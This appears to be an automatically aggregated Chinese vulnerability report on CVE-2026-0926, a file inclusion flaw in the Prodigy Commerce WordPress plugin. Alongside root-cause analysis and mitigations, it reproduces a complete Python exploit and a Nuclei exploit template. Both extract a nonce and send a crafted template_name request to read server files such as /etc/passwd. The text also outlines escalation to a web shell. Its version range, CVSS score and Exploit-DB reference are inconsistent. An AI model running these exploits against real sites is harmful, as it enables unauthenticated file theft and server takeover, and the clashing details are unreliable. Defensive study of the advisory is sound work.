摘要：CVE-2026-0926 是 WordPress Prodigy Commerce 插件（版本 ≤ 3.3.0）中存在的一个严重本地文件包含（Local File Inclusion, LFI）漏洞，CVSS 评分为 9.8（Critical）。未认证攻击者可通过构造恶意请求，利用 parameters[template_name] 参数读取服务器上的任意文件，并在特定条件下执行任意 PHP 代码，从而实现远程代码执行（RCE）、敏感信息泄露与访问控制绕过。该漏洞的 PoC 已经公开，实际利用门槛极低，威胁严重。

📌 漏洞概述

Prodigy Commerce 是一款用于 WordPress 的电子商务插件，提供商品展示、购物车、账户管理等前端组件。根据 NVD 与 Exploit-DB 公布的信息，CVE-2026-0926 影响该插件 所有版本（包括 3.3.0 及更早版本）。漏洞位于插件通过 admin-ajax.php 暴露的一个动态渲染功能中，具体触发点为 parameters[template_name] 参数。该参数在传入后端模板加载逻辑时，缺乏充分的路径校验与过滤，导致未认证用户能够控制被包含的文件路径。

漏洞的 CVSS v3 评分为 9.8（Critical），攻击向量为网络（AV:N），攻击复杂度低（AC:L），无需任何权限（PR:N），无需用户交互（UI:N），对机密性、完整性和可用性均造成高影响（C:H/I:H/A:H）。虽然 CISA KEV 尚未收录该漏洞，但其 PoC 已在 GitHub 公开，实际利用活动可能随时出现。

🔬 漏洞根因分析

从 PoC 代码中可以清晰看到攻击者触发漏洞的完整路径：

• 攻击者首先向目标站点首页发送 GET 请求，利用正则表达式 var settings = {[^}]*"nonce":"([^"]+)" 从页面内嵌 JavaScript 中提取 WordPress AJAX 的 nonce 值。这说明插件/主题在前端渲染时无需授权即向匿名用户暴露了合法的 nonce。
• 随后，攻击者向 wp-admin/admin-ajax.php 发起 POST 请求，其中 action 为 prodigy-render-my-account-widget，并携带参数 parameters[template_name]（目标文件路径）和 parameters[default_path]（默认为 /）。
• 服务端接收请求后，通过 WordPress 的 wp_ajax_nopriv_* 钩子调用插件渲染逻辑。该逻辑本意是根据用户传入的模板名称加载对应的 PHP 模板文件，但在拼接路径时未对 template_name 进行严格的规范化处理，也没有限制其必须在插件预设的模板目录内。
• 攻击者传入 parameters[template_name] 为 /etc/passwd，配合 default_path=/，即可构造出 /etc/passwd 的绝对路径。插件直接使用该路径调用文件包含函数（如 include/file_get_contents），最终将文件内容作为渲染结果返回，并通过 AJAX 响应中的 data[html] 字段输出给攻击者。

该漏洞的根本原因在于 用户输入直接进入了文件操作/包含函数，且缺少权限校验。这类漏洞本质上属于“不安全的文件路径处理”——开发者期望接收一个模板名称，但攻击者提供了完整路径或路径穿越序列（如 ../../etc/passwd）。由于 WordPress 的 AJAX 处理机制中，wp_ajax_nopriv_ 允许未登录用户触发动作，导致任何匿名访客都能利用该功能。

更严重的是，如果服务器上存在用户可上传的“安全”文件（例如图片、日志文件，其内容包含攻击者注入的 PHP 代码），攻击者可以先将恶意 PHP 代码写入这些文件，再通过 LFI 将其包含进来执行，实现远程代码执行。PoC 中虽然默认读取 /etc/passwd，但其利用方式完全支持加载任意 PHP 文件，从而升级为 RCE。

💥 影响与危害

该漏洞允许未认证攻击者执行以下操作：

• 任意文件读取：读取服务器上的敏感文件，如 /etc/passwd、/etc/shadow（权限足够时）、WordPress 配置文件 wp-config.php（包含数据库凭据、认证密钥等），以及应用程序源码、日志、备份文件等，直接导致机密数据泄露。
• 远程代码执行（RCE）：当服务器上存在可写入且可被包含的文件（例如通过媒体上传的图片，或日志文件）时，攻击者可将恶意 PHP 语句植入文件内容，再利用 LFI 包含执行，获得 Web Shell，进而拿下服务器控制权。
• 访问控制绕过：通过读取内部文件或执行代码，攻击者可绕过 WordPress 的权限检查，获取管理后台访问权限，篡改网页内容、植入后门、横向攻击内网等。
• 严重连锁攻击：由于 CVSS v3 评分高达 9.8，且无需任何凭证，该漏洞可被批量扫描利用。攻击者一旦成功利用，可能造成网站完全沦陷、数据泄露、服务中断，甚至危及服务器所在内网的其他系统。

值得注意的是，即使没有公开的漏洞利用程序中提及 CISA KEV 收录状态，但 PoC 的公开意味着漏洞利用工具化已经完成，攻击者只需要下载代码即可发起攻击，风险极

高。

🛡️ 修复与缓解

针对 CVE-2026-0926，建议采取以下紧急措施：

• 升级插件：目前所有版本（≤ 3.3.0）均受影响，官方必须尽快发布修复版本。站点管理员应立即关注 Prodigy Commerce 官方更新，将插件升级到已修复漏洞的最新版本（若存在）。在修复版本发布前，建议暂时停用该插件。
• 禁用相关 AJAX 动作：在无法立即更新的情况下，可通过函数或安全插件阻止匿名用户访问 admin-ajax.php 中的 prodigy-render-my-account-widget 动作。例如，在主题的 functions.php 中添加自定义逻辑，当检测到该 action 且用户未登录时直接拒绝请求。
• WAF 规则拦截：在 Web 应用防火墙（如 Cloudflare、ModSecurity）中添加规则，拦截包含 parameters[template_name] 且参数值包含路径穿越字符或绝对路径的请求。例如，检测 ../、/etc/ 等危险特征。
• 限制 PHP 文件包含范围：建议开发者修复时使用 realpath() 校验最终路径，确保其位于允许的模板目录内，同时禁止绝对路径和符号链接逃逸。
• 服务器加固：确保 Web 运行账户具有最小权限，避免 /etc/shadow 等系统敏感文件被读取；禁用不必要的 PHP 函数（如 file_get_contents、include 在特定上下文的调用）；对上传目录设置为禁止执行 PHP 脚本。
• 监控与审计：持续监控 Web 访问日志中针对 admin-ajax.php 且携带 prodigy-render-my-account-widget 的异常请求，检查是否存在 /etc/passwd、.php 等文件读取尝试，及时发现入侵行为。

综上所述，CVE-2026-0926 是一个无需认证即可远程利用的严重漏洞，建议所有使用 Prodigy Commerce 插件的站点立即采取响应措施，避免遭受不可逆的损害。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言py来源diamorphine666/CVE-2026-0926-exploit针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# Exploit Title: Prodigy Commerce <= 3.3.0 - Local File Inclusion 
# Date: 23-05-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://prodigycommerce.com/
# Software Link: https://wordpress.org/plugins/prodigy-commerce/
# Version: 3.2.9
# Tested on: Debian
# CVE : CVE-2026-0926
# Description: Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter,
letting unauthenticated attackers include and execute arbitrary files remotely.


import httpx
import asyncio
import re
from urllib.parse import urljoin
import argparse


def get_nonce(base_url):
    with httpx.Client(verify=False) as client:
        r = client.get(url=base_url)
        match = re.search(r'var settings\s*=\s*{[^}]*"nonce":"([^"]+)"',
r.text)
        if match:
            nonce = match.group(1)
            return nonce
        else:
            print("Nonce not found")

async def main(base_url,file):
    async with httpx.AsyncClient(verify=False) as client:
        nonce = get_nonce(base_url)
        data = {"action": "prodigy-render-my-account-widget","nonce": nonce,"parameters[template_name]": file,
"parameters[default_path]": "/"
        }url = urljoin(base_url,'/wp-admin/admin-ajax.php')
        r = await client.post(url=url,data=data)
        raw = r.json()
        out = raw['data']
        print(out['html'])

parser = argparse.ArgumentParser(description="Prodigy Commerce <= 3.3.0 - Local File Inclusion exploit")
parser.add_argument("-f","--file",default='/etc/passwd',
help="File to read,default: /etc/passwd")
parser.add_argument("-u","--url",required=True,help="Target url,e.g. http://test.local")
args = parser.parse_args()

asyncio.run(main(args.url,args.file))

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。

🛡️ Nuclei 检测模板: CVE-2026-0926-detection.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-0926-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-0926-detection.yaml -u

id: CVE-2026-0926-detection

info:
  name: Prodigy Commerce <= 3.2.9 - Local File Inclusion Detection
  author: diamorphine
  severity: high
  description: Detects if target is running a vulnerable version of Prodigy Commerce WordPress plugin (<= 3.2.9).
  reference:
    - https://www.exploit-db.com/exploits/5XXXX
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0926
  classification:
    cvss-score: 7.5
    cve-id: CVE-2026-0926
  metadata:
    max-request: 2
    vendor: prodigycommerce
    product: prodigy-commerce
    framework: wordpress
  tags: cve,cve2026,lfi,wordpress,wp-plugin,prodigy-commerce

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/prodigy-commerce/readme.txt"
      - "{{BaseURL}}/wp-content/plugins/prodigy-commerce/"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Prodigy Commerce"
          - "Stable tag: 3.2.9"
          - "Stable tag: 3.2.8"
          - "Stable tag: 3.2.7"
          - "Stable tag: 3.2.6"
          - "Stable tag: 3.2.5"
          - "Stable tag: 3.2.4"
          - "Stable tag: 3.2.3"
          - "Stable tag: 3.2.2"
          - "Stable tag: 3.2.1"
          - "Stable tag: 3.2.0"
        condition: or

      - type: word
        part: body
        words:
          - "prodigy-commerce"
          - "Prodigy Commerce"
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
          - 'Version: ([0-9.]+)'

🛡️ Nuclei 检测模板: CVE-2026-0926-exploit.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-0926-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-0926-exploit.yaml -u

id: CVE-2026-0926-exploit

info:
  name: Prodigy Commerce <= 3.2.9 - Local File Inclusion Exploit
  author: diamorphine
  severity: high
  description: Exploits a local file inclusion vulnerability in Prodigy Commerce WordPress plugin <= 3.2.9,
allowing unauthenticated attackers to read arbitrary files.
  reference:
    - https://www.exploit-db.com/exploits/5XXXX
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0926
  classification:
    cvss-score: 7.5
    cve-id: CVE-2026-0926
  metadata:
    max-request: 2
    vendor: prodigycommerce
    product: prodigy-commerce
    framework: wordpress
  tags: cve,cve2026,lfi,wordpress,wp-plugin,prodigy-commerce,unauth

variables:
  file: "/etc/passwd"

http:
  - raw:
      - |
GET {{BaseURL}}HTTP/1.1
        Host: {{Hostname}}Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

      - |POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}Content-Type: application/x-www-form-urlencoded
        Accept: application/json,text/javascript,*/*;
q=0.01
        X-Requested-With: XMLHttpRequest
        Connection: close

        action=prodigy-render-my-account-widget&nonce={{nonce}}&parameters%5Btemplate_name%5D={{file}}&parameters%5Bdefault_path%5D=%2F

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "html"
          - "root:"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'var settings\s*=\s*\{[^}]*"nonce":"([^"]+)"'

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-13 13:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库